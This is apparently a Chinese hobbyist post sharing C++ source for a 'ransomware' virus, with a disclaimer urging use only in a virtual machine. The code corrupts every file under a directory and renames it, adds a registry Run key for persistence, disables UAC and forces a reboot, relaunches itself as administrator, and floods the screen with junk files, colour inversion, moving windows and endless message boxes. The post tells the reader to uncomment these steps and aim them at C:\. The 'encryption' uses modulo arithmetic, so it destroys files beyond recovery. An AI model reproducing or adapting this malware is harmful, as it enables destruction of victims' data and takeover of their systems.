C++小病毒-1.0勒索(更新次数:1)

内容供学习使用,不得转卖,代码复制后请1小时内删除,此代码会危害计算机安全,谨慎操作

在C++20环境下,并在虚拟机里运行此代码!，病毒带来后果自负!

使用时请删除在main()里的注释,并修改位置至C:\\(看我代码注释)//可以改成WIN　Main()

#include <iostream>
#include <windows.h>
#include <shellapi.h>
#include <stdio.h>
#include <fstream>
#include <vector>
#include <string>
#include <filesystem>
#include <signal.h>
#include <csignal>
#include <shlwapi.h>
#include <shcore.h>
#include <thread> 
#include <graphics.h>
#pragma comment(lib, "shlwapi.lib")
using namespace std;
namespace fs = std::filesystem;
const int screenWidth = GetSystemMetrics(SM_CXSCREEN);
const int screenHeight = GetSystemMetrics(SM_CYSCREEN);
void writeWordName(const std::string& filename) {size_t pos = filename.find_last_of('.');std::string newFilename;if (pos != std::string::npos) {newFilename = filename.substr(0, pos) + ".人丰NB人丰666";}else {newFilename = filename + ".人丰NB人丰666";}try {fs::rename(filename, newFilename);std::cout << "文件已加密为: " << newFilename << std::endl;}catch (const fs::filesystem_error& e) {std::cerr << "重命名文件时出错: " << e.what() << std::endl;}
}
void flashWindow(const std::string& filename) {std::fstream file(filename, std::ios::in | std::ios::out | std::ios::binary);if (!file) {std::cerr << "无法打开文件: " << filename << std::endl;return;}try {file.seekg(0, std::ios::end);std::streamsize size = file.tellg();file.seekg(0, std::ios::beg);for (int i = 0; i < size; i++) {file.seekg(i, std::ios::beg);char byte;if (!file.read(&byte, sizeof(byte))) {std::cerr << "读取文件 " << filename << " 字节时出现错误，位置：" << i << std::endl;continue;}if (i % 3 == 0) {byte = byte % 0x37;byte = (byte + 0x10) % 0xFF;}if (i % 3 == 1) {byte = byte % 0x43;byte = (byte + 0x20) % 0xFF;}if (i % 3 == 2) {byte = byte % 0x71;byte = (byte + 0x30) % 0xFF;}file.seekp(i, std::ios::beg);if (!file.write(&byte, sizeof(byte))) {std::cerr << "写入文件 " << filename << " 字节时出现错误，位置：" << i << std::endl;continue;}}}catch (...) {std::cerr << "文件加密过程出现异常" << std::endl;}file.close();writeWordName(filename);
}
void scanDirectory(const std::string& path) {for (const auto& entry : fs::recursive_directory_iterator(path)) {if (entry.is_regular_file()) {flashWindow(entry.path().string());}}
}
void WriteStart()//开机自启动
{char path[MAX_PATH]; HKEY hKey;DWORD length = GetModuleFileNameA(NULL, path, MAX_PATH);LONG result; result = RegOpenKeyEx(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_SET_VALUE, &hKey);const TCHAR* valueName = TEXT("MyApp");const TCHAR* valueData = TEXT(path);result = RegSetValueEx(hKey, valueName, 0, REG_SZ, (const BYTE*)valueData, (lstrlen(valueData) + 1) * sizeof(TCHAR));RegCloseKey(hKey);
}
void GetWordNameAndStart() {char buffer[MAX_PATH];if (GetModuleFileName(NULL, buffer, MAX_PATH) > 0) {std::string str(buffer);LPCTSTR path = str.c_str();HINSTANCE result = ShellExecute(NULL, "open", path, NULL, NULL, SW_SHOWNORMAL);if ((int)result <= 32) {std::cerr << "打开文件失败，错误码: " << (int)result << std::endl;}}
}
BOOL SetProcessCtrlHandler() {return SetConsoleCtrlHandler([](DWORD dwCtrlType) -> BOOL {switch (dwCtrlType) {case CTRL_C_EVENT:case CTRL_BREAK_EVENT:case CTRL_CLOSE_EVENT:case CTRL_LOGOFF_EVENT:case CTRL_SHUTDOWN_EVENT:GetWordNameAndStart();return TRUE;default:return FALSE;}}, TRUE);
}
void createFileWithContent_1MB(const std::string& filePath) {const int fileSize = 1048576;std::vector<char> buffer(fileSize, '0');std::ofstream file(filePath, std::ios::binary);if (file.is_open()) {file.write(buffer.data(), fileSize);file.close();}else {std::cerr << "无法创建文件: " << filePath << std::endl;}
}
void CreateFileTo(const std::string& path, const int& SUM, const std::string& WordName) {for (int i = 0; i < SUM; ++i) {std::string folderPath = path + "\\" + WordName + std::to_string(i);// 创建文件夹if (CreateDirectory(folderPath.c_str(), NULL) || ERROR_ALREADY_EXISTS == GetLastError()) {// 设置文件夹为隐藏属性SetFileAttributes(folderPath.c_str(), FILE_ATTRIBUTE_HIDDEN);int RandSum = rand();// 创建文件并写入内容std::string filePath = folderPath + "\\人丰NB人丰666.人丰NB人丰666" + std::to_string(RandSum);createFileWithContent_1MB(filePath);}else {std::cerr << "无法创建文件夹: " << folderPath << std::endl;}}
}
bool Kill_AntivirusSoftware() {return false;
}
void display_run_moveWindows(HWND hWnd) {SetProcessDPIAware();srand(static_cast<unsigned int>(time(NULL))); // 初始化随机数种子RECT rect;GetWindowRect(hWnd, &rect);int windowWidth = rect.right - rect.left;int windowHeight = rect.bottom - rect.top;// 生成随机位置，确保窗口不会超出屏幕范围while (true) {int newX = rand() % screenWidth;int newY = rand() % screenHeight;MoveWindow(hWnd, newX, newY,windowWidth,windowHeight, TRUE);Sleep(1000);}
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam) {thread myThread21(display_run_moveWindows,hwnd);myThread21.detach(); // 分离子线程return TRUE;
}
void MessageBox_ZYNTM_RUN(int i) {while (true){if(i==1) MessageBox(NULL,"鸡你太美","鸡你太美", MB_OK);if(i==2) MessageBox(NULL,"你干嘛~,哎呦~", "你干嘛~,哎呦~", MB_OK);if(i==3) MessageBox(NULL, "360安全卫生为您守护电脑", "360安全卫生为您守护电脑", MB_OK);if(i==4) MessageBox(NULL, "大家好,我是练习时长两年半的个人练习生-蔡徐坤", "大家好,我是练习时长两年半的个人练习生-蔡徐坤", MB_OK);}
}
void MessageBox_ZYNTM_CTRL() {while (true) {thread myThread31(MessageBox_ZYNTM_RUN,1);thread myThread32(MessageBox_ZYNTM_RUN,2);thread myThread33(MessageBox_ZYNTM_RUN,3);thread myThread34(MessageBox_ZYNTM_RUN,4);myThread31.detach();myThread32.detach();myThread33.detach();myThread34.detach();Sleep(350);}
}
void Windows_music() {while (true){Beep(375,300);Beep(500,300);}
}
void DrawFullscreenRectangle() {//在桌面上画图// 获取屏幕设备上下文句柄SetProcessDPIAware();HDC hdcScreen = GetDC(NULL);if (hdcScreen == NULL) {std::cerr << "无法获取屏幕设备上下文句柄。" << std::endl;return;}// 获取屏幕的宽度和高度int screenWidth = GetSystemMetrics(SM_CXSCREEN);int screenHeight = GetSystemMetrics(SM_CYSCREEN);// 创建一个与屏幕兼容的内存设备上下文HDC hdcMem = CreateCompatibleDC(hdcScreen);if (hdcMem == NULL) {std::cerr << "无法创建内存设备上下文。" << std::endl;ReleaseDC(NULL, hdcScreen);return;}// 创建一个 DIB 位图BITMAPINFO bmi;ZeroMemory(&bmi, sizeof(BITMAPINFO));bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);bmi.bmiHeader.biWidth = screenWidth;bmi.bmiHeader.biHeight = -screenHeight; // 负高度表示底部 - 顶部顺序bmi.bmiHeader.biPlanes = 1;bmi.bmiHeader.biBitCount = 32;bmi.bmiHeader.biCompression = BI_RGB;void* pBits;HBITMAP hBitmap = CreateDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &pBits, NULL, 0);if (hBitmap == NULL) {std::cerr << "无法创建 DIB 位图。" << std::endl;DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);return;}// 选入位图到内存设备上下文HBITMAP hOldBitmap = (HBITMAP)SelectObject(hdcMem, hBitmap);// 将屏幕内容复制到内存设备上下文中BitBlt(hdcMem, 0, 0, screenWidth, screenHeight, hdcScreen, 0, 0, SRCCOPY);// 直接操作位图数据进行反色DWORD* pPixel = (DWORD*)pBits;for (int i = 0; i < screenWidth * screenHeight; i++) {*pPixel = RGB(255 - GetRValue(*pPixel), 255 - GetGValue(*pPixel), 255 - GetBValue(*pPixel));pPixel++;}for (int i = 0; i < 100; i++) {// 将反色后的内容复制回屏幕BitBlt(hdcScreen, 0, 0, screenWidth, screenHeight, hdcMem, 0, 0, SRCCOPY);Sleep(10);}// 恢复原始位图SelectObject(hdcMem, hOldBitmap);// 释放资源DeleteObject(hBitmap);DeleteDC(hdcMem);ReleaseDC(NULL, hdcScreen);
}
void window_display_run() {//中毒视觉效果thread myThread13(Windows_music);myThread13.detach();//放音乐Sleep(3000);for (int i = 0; i < 15; i++) {thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色}thread myThread12(MessageBox_ZYNTM_CTRL);myThread12.detach();while (true) {thread myThread11(EnumWindows, EnumWindowsProc, 0);myThread11.join();thread myThread14(DrawFullscreenRectangle);myThread14.join();//屏幕反色Sleep(350);}
}
bool isUACDisabled() {//检查UCAHKEY hKey;DWORD uacLevel = 0;DWORD size = sizeof(DWORD);if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {if (RegQueryValueEx(hKey, "EnableLUA", NULL, NULL, (LPBYTE)&uacLevel, &size) == ERROR_SUCCESS) {RegCloseKey(hKey);if (uacLevel == 0) {return true;}else {return false;}}else {std::cerr << "Failed to query UAC level. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool setUACLevelToHigh() {//关闭UCAif (isUACDisabled() == true)return true;HKEY hKey;DWORD newValue = 0;if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {if (RegSetValueEx(hKey, "EnableLUA", 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD)) == ERROR_SUCCESS) {RegCloseKey(hKey);system("shutdown /r /t 0");return true;}else {std::cerr << "Failed to set EnableLUA value. Error code: " << GetLastError() << std::endl;RegCloseKey(hKey);return false;}}else {std::cerr << "Failed to open registry key. Error code: " << GetLastError() << std::endl;return false;}
}
bool elevateToAdmin() {if(setUACLevelToHigh()==false)if (setUACLevelToHigh() == false){cout << "I'm sorry,Are you OK?"; }BOOL isAdmin = FALSE;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;PSID AdministratorsGroup;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup)) {if (!CheckTokenMembership(NULL, AdministratorsGroup, &isAdmin)) {isAdmin = FALSE;}FreeSid(AdministratorsGroup);}if (isAdmin == false) {char szPath[MAX_PATH];GetModuleFileNameA(NULL, szPath, MAX_PATH);  // 使用 GetModuleFileNameA 处理 ANSI 字符串std::string commandLine = "\"" + std::string(szPath) + "\"";LPSTR szCommandLine = const_cast<LPSTR>(commandLine.c_str());SHELLEXECUTEINFOA sei = { sizeof(SHELLEXECUTEINFOA) };sei.lpVerb = "runas";  // 请求管理员权限sei.lpFile = szPath;sei.lpParameters = NULL;sei.lpDirectory = NULL;sei.nShow = SW_SHOWNORMAL;sei.fMask = SEE_MASK_NOCLOSEPROCESS | SEE_MASK_FLAG_DDEWAIT;if (!ShellExecuteExA(&sei)) {std::cerr << "Failed to restart as administrator." << std::endl;return false;}else {exit(0);return true;}}std::cout << "This program is running with administrative privileges." << std::endl;return true;
}
//int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
int main(){srand((time(0)));//thread myThread2(WriteStart); //注册表开机自启动//myThread2.join(); //设置成功后//if (elevateToAdmin() == false)//尝试升级为管理员//    if (elevateToAdmin() == false)//        cout << "Are you ok? Are you fine ?";// thread myThread(CreateFileTo,"F:\\本地磁盘C",10,"54088");//创建垃圾文件占用内存// thread myThread3(scanDirectory,"F:\\本地磁盘C");//加密文件thread myThread4(window_display_run); //病毒桌面特效//thread myThread5(Kill_AntivirusSoftware); //关闭杀毒软件//以下是主进程区域//SetProcessCtrlHandler();//关掉重启项//以上是主进程区域//myThread.join(); // myThread3.join();myThread4.join();// myThread5.join();while (1);return 0;
}